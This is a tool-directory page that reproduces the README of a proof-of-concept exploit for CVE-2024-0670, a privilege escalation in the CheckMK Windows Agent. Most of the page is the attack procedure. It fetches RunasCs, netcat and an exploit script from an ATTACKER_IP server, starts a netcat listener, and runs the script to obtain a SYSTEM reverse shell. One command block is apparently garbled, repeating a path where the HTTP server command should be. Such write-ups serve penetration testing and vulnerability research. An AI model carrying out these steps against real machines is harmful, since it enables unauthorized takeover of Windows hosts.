Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit — This repository contains an exploit demonstration for CVE-2024-0670, a local privilege escalation vulnerability affecting the CheckMK Agent for Windows. The vulnerability allows a low-privileged user to obtain SYSTEM privileges by abusing writable file paths processed by the MSI repair mechanism. | Kitploit
Tools/GitHubGitHub/elsevar11/cve-2024-0670-checkmk-agent-local-privilege-escalation-exploit
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationPenetration TestingLearning & EducationBinary Exploitation
GitHubelsevar11/cve-2024-0670-checkmk-agent-local-privilege-escalation-exploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

This repository contains an exploit demonstration for CVE-2024-0670, a local privilege escalation vulnerability affecting the CheckMK Agent for Windows. The vulnerability allows a low-privileged user to obtain SYSTEM privileges by abusing writable file paths processed by the MSI repair mechanism.

CVE-2024-0670-CheckMK-Agent-Local-Privilege-Escalation-Exploit

View Repository
319 months agoNot yet reviewed
Share

CVE-2024-0670 – CheckMK Agent Local Privilege Escalation (PoC)

This repository contains a simple and clean proof-of-concept for CVE-2024-0670, a local privilege escalation vulnerability in the CheckMK Windows Agent. A low-privileged user can gain SYSTEM privileges by abusing writable temp file paths executed during MSI repair.

🔍 Vulnerability Summary

  • Vendor: Tribe29
  • CVE: CVE-2024-0670
  • Advisory: https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/

During an MSI repair, CheckMK executes files under:

root@kitploit:~
  C:\Windows\Temp\

If a normal user can place files there with predictable names, they can execute commands as NT AUTHORITY\SYSTEM.

This exploit seeds multiple payload filenames and triggers the MSI repair to achieve SYSTEM execution.

📂 Files

root@kitploit:~
RunasCs.exe     → runas replacement (plaintext password support)
nc.exe          → Netcat (reverse shell)
exploit.ps1     → CVE-2024-0670 exploit script
README.md       → documentation

🛠 Requirements

  • Low-privileged Windows user
  • PowerShell enabled
  • CheckMK Windows Agent installed
  • Ability to download files
  • Python (for simple HTTP server)
  • Netcat listener on attacker machine

📡 Start HTTP Server

root@kitploit:~
  C:\Windows\Temp\

📥 Download Tools on Target

root@kitploit:~
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/RunasCs.exe" -OutFile "C:\Windows\Temp\RunasCs.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/nc.exe" -OutFile "C:\Windows\Temp\nc.exe"
Invoke-WebRequest -Uri "http://ATTACKER_IP:8000/exploit.ps1" -OutFile "C:\Windows\Temp\exploit.ps1

🚀 Running the Exploit

Start a listener on your machine:

root@kitploit:~
nc -lvnp 1111
root@kitploit:~
.\RunasCs.exe username "password" "powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\Windows\Temp\exploit.ps1"

If successful, you receive a SYSTEM reverse shell.

🔧 Build RunasCs Manually (Optional)

root@kitploit:~
net4: 
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:RunasCs.exe RunasCs.cs 

net2: 
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:RunasCs_net2.exe RunasCs.cs

⚖️ Legal Disclaimer

This project is for educational and authorized penetration testing only. Do not use it for illegal purposes. The author is not responsible for misuse.

Download Tool